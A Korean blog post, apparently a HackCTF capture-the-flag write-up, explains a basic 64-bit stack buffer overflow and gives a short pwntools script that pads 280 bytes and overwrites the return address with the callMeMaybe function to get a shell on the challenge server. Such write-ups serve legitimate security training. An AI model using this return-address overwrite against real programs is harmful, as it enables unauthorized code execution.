x64 바이너리인 점을 제외하면 아주 간단한 BOF 문제이다. 64bit 체제에서는 포인터의 크기 및 레지스터들의 한칸이 8bytes 라는 점을 인지하고 있으면 된다.
RET 부분을 callmeMaybe의 주소로 덮어주면 끝이다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3004)
e = ELF("./64bof_basic")
callMe = e.symbols['callMeMaybe']
payload = "\x90"*280
payload += p64(callMe)
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) | 2020.08.28 |
---|---|
x64 Simple_size_BOF (0) | 2020.08.28 |
ROP (0) | 2020.08.28 |
RTL_World (0) | 2020.08.28 |
BOF_PIE (0) | 2020.08.28 |